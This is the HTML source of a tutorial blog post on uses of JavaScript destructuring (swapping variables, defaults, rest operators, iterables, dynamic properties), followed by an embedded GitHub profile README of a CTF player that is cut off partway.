&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 2&lt;/span&gt;
&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;[a, b] = [b, a]&lt;/code&gt; is a destructuring assignment. On the right side, an array is created &lt;code&gt;[b, a]&lt;/code&gt;, that is &lt;code&gt;[2, 1]&lt;/code&gt;. The first item of this array &lt;code&gt;2&lt;/code&gt; is assigned to &lt;code&gt;a&lt;/code&gt;, and the second item &lt;code&gt;1&lt;/code&gt; is assigned to &lt;code&gt;b&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Although you still create a temporary array, swapping variables using destructuring assignment is more concise.&lt;/p&gt;

&lt;p&gt;This is not the limit. You can swap more than 2 variables at the same time. Let’s try that:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;zero&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;one&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;two&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;zero&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;one&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;two&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;two&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;one&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;zero&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="nx"&gt;zero&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 0&lt;/span&gt;
&lt;span class="nx"&gt;one&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// =&amp;gt; 1&lt;/span&gt;
&lt;span class="nx"&gt;two&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// =&amp;gt; 2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You can swap as many variables as you want! Although, swapping 2 variables is the most common scenario.&lt;/p&gt;
&lt;h2&gt;
  
  
  2) Access array item
&lt;/h2&gt;

&lt;p&gt;You have an array of items that potentially can be empty. You want to access the first, second, or nth item of the array, but if the item does not exist, get a default value.&lt;/p&gt;

&lt;p&gt;Normally you would use the length property of the array:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;colors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;firstColor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;white&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;colors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
 &lt;span class="nx"&gt;firstColor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;colors&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;firstColor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 'white'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Fortunately, array destructuring helps you achieve the same way shorter:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;colors&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;firstColor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;white&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;colors&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;firstColor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 'white'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;const [firstColor = 'white'] = colors&lt;/code&gt; destructuring assigns to &lt;code&gt;firstColor&lt;/code&gt; variable the first element of the &lt;code&gt;colors&lt;/code&gt; array. If the array doesn’t have any element at the index &lt;code&gt;0&lt;/code&gt;, the &lt;code&gt;'white'&lt;/code&gt; default value is assigned.&lt;/p&gt;

&lt;p&gt;Note the comma on the left side of the destructuring: it means that the first element is ignored. &lt;code&gt;secondColor&lt;/code&gt; is assigned with the element at index &lt;code&gt;1&lt;/code&gt; from the &lt;code&gt;colors&lt;/code&gt; array.&lt;/p&gt;
&lt;h2&gt;
  
  
  3) Immutable operations
&lt;/h2&gt;

&lt;p&gt;When I started using React, and later Redux, I was forced to write code that respects immutability. While having some difficulties at the start, later I saw its benefits: it’s easier to deal with unidirectional data flow.&lt;/p&gt;

&lt;p&gt;Immutability forbids mutating objects. Fortunately, destructuring helps you achieve some operations in an immutable manner easily.&lt;/p&gt;

&lt;p&gt;The destructuring in combination with &lt;code&gt;...&lt;/code&gt; rest operator removes elements from the beginning of an array:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;numbers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;fooNumbers&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;numbers&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;fooNumbers&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; [2, 3]&lt;/span&gt;
&lt;span class="nx"&gt;numbers&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; [1, 2, 3]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The destructuring &lt;code&gt;[, ...fooNumbers] = numbers&lt;/code&gt; creates a new array &lt;code&gt;fooNumbers&lt;/code&gt; that contains the items from &lt;code&gt;numbers&lt;/code&gt; but the first one.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;numbers&lt;/code&gt; array is not mutated, keeping the operation immutable.&lt;/p&gt;

&lt;p&gt;In the same immutable manner you can delete properties from objects. Let’s try to delete &lt;code&gt;foo&lt;/code&gt; property from the object &lt;code&gt;big&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;big&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
 &lt;span class="na"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;value Foo&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="na"&gt;bar&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;value Bar&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;small&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;big&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;small&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; { bar: 'value Bar' }&lt;/span&gt;
&lt;span class="nx"&gt;big&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; { foo: 'value Foo', bar: 'value Bar' }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The destructuring assignment in combination with object rest operator creates a new object small with all properties from &lt;code&gt;big&lt;/code&gt;, only without &lt;code&gt;foo&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  4) Destructuring iterables
&lt;/h2&gt;

&lt;p&gt;In the previous sections, the destructuring was applied to arrays. But you can destructure any object that implements the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#the_iterable_protocol" rel="noopener noreferrer"&gt;iterable protocol&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Many native primitive types and objects are iterable: arrays, strings, typed arrays, sets, and maps.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;cheese&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;firstChar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;str&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;firstChar&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 'c'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You’re not limited to native types. Destructuring logic can be customized by implementing the iterable protocol.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;movies&lt;/code&gt; holds a list of movie objects. When destructuring &lt;code&gt;movies&lt;/code&gt;, it would be great to get the movie title as a string. Let’s implement a custom iterator:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;movies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;list&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Skyfall&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; 
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Interstellar&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;Symbol&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;iterator&lt;/span&gt;&lt;span class="p"&gt;]()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;next&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;index&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;done&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;done&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;firstMovieTitle&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;movies&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;firstMovieTitle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 'Skyfall'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;movies&lt;/code&gt; object implements the iterable protocol by defining the &lt;code&gt;Symbol.iterator&lt;/code&gt; method. The iterator iterates over the titles of movies.&lt;/p&gt;

&lt;p&gt;Conforming to an iterable protocol allows the destructuring of &lt;code&gt;movies&lt;/code&gt; object into titles, specifically by reading the title of the first movie: &lt;code&gt;const [firstMovieTitle] = movies&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The sky is the limit when using destructuring with iterators.&lt;/p&gt;
&lt;h2&gt;
  
  
  5) Destructuring dynamic properties
&lt;/h2&gt;

&lt;p&gt;In my experience, the destructuring of an object by properties happens more often than arrays destructuring.&lt;/p&gt;

&lt;p&gt;The destructuring of an object looks pretty simple:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;movie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Skyfall&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;title&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;movie&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 'Skyfall'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;const { title } = movie&lt;/code&gt; creates a variable &lt;code&gt;title&lt;/code&gt; and assigns to it the value of property &lt;code&gt;movie.title&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When first reading about objects destructuring, I was a bit surprised that you don’t have to know the property name statically. You can destructure an object with a dynamic property name!&lt;/p&gt;

&lt;p&gt;To see how dynamic destructuring works, let’s write a greeting function:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;nameProp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
 &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;nameProp&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Unknown&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
 &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;`Hello, &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;!`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Ben&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 'Hello, Ben!'&lt;/span&gt;
&lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// =&amp;gt; 'Hello, Unknown!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;greet()&lt;/code&gt; function is called with 2 arguments: the object and the property name.&lt;/p&gt;

&lt;p&gt;Inside &lt;code&gt;greet()&lt;/code&gt;, the destructuring assignment &lt;code&gt;const { [nameProp]: name = 'Unknown' } = obj&lt;/code&gt; reads the dynamic property name using square brackets &lt;code&gt;[nameProp]&lt;/code&gt;. The name variable receives the dynamic property value.&lt;/p&gt;

&lt;p&gt;Even better you can specify a default value &lt;code&gt;'Unknown'&lt;/code&gt; in case if the property does not exist.&lt;/p&gt;
&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Destructuring works great if you want to access object properties and array items.&lt;/p&gt;

&lt;p&gt;On top of the basic usage, array destructuring is convinient to swap variables, access array items, perform some immutable operations.&lt;/p&gt;

&lt;p&gt;JavaScript offers even greater possibilities because you can define custom destructuring logic using iterators.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Question: What interesting applications of destructuring do you know? Write a comment below!&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yuma-Tsushima07" rel="noopener noreferrer"&gt;
        Yuma-Tsushima07
      &lt;/a&gt; / &lt;a href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07" rel="noopener noreferrer"&gt;
        Yuma-Tsushima07
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Readme Version 3
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;pre&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;  48656c6c6f2045766572796f6e65  &lt;/h1&gt;

&lt;/div&gt;

&lt;/pre&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/dfebb90d88db502574e0ecaef86fd54c303772a79465edffa909734e817403bd/68747470733a2f2f63617073756c652d72656e6465722e76657263656c2e6170702f6170693f747970653d7265637426636f6c6f723d303a4143463946372c35303a4643464346432c3130303a463841434639266865696768743d31"&gt;&lt;img src="https://camo.githubusercontent.com/dfebb90d88db502574e0ecaef86fd54c303772a79465edffa909734e817403bd/68747470733a2f2f63617073756c652d72656e6465722e76657263656c2e6170702f6170693f747970653d7265637426636f6c6f723d303a4143463946372c35303a4643464346432c3130303a463841434639266865696768743d31" alt="header"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;pre&gt;❀ &lt;a href="https://github.com/Yuma-Tsushima07/" rel="noopener noreferrer"&gt;PROGRAMMER&lt;/a&gt; • &lt;a href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07" rel="noopener noreferrer"&gt;ARTIST&lt;/a&gt; • &lt;a href="https://app.hackthebox.com/profile/496941" rel="nofollow noopener noreferrer"&gt;HACKER&lt;/a&gt; ❀
&lt;/pre&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt; About Me: &lt;/h2&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Name:&lt;/strong&gt; Undisclosed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Alias:&lt;/strong&gt; Yuma, V37R1X&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Age:&lt;/strong&gt; 19&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hobbies:&lt;/strong&gt; Drawing, Hacking, Coding&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Personality:&lt;/strong&gt; INTJ-T 5w4 584 sp/sx RLOEI ILI Melancholic-Choleric LVFE&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt; I am a/an: &lt;/h3&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Ethical Hacker/Pentester&lt;/li&gt;
&lt;li&gt;CTF Player --&amp;gt; &lt;a href="https://ctftime.org/user/102871" rel="nofollow noopener noreferrer"&gt;V37R1X&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Team Leader --&amp;gt; &lt;a href="https://app.hackthebox.com/teams/overview/3804" rel="nofollow noopener noreferrer"&gt;7h3B14ckKn1gh75&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Web Developer&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt; CTFs: &lt;/h2&gt;

&lt;/div&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt; HackTheBox &lt;/h3&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;
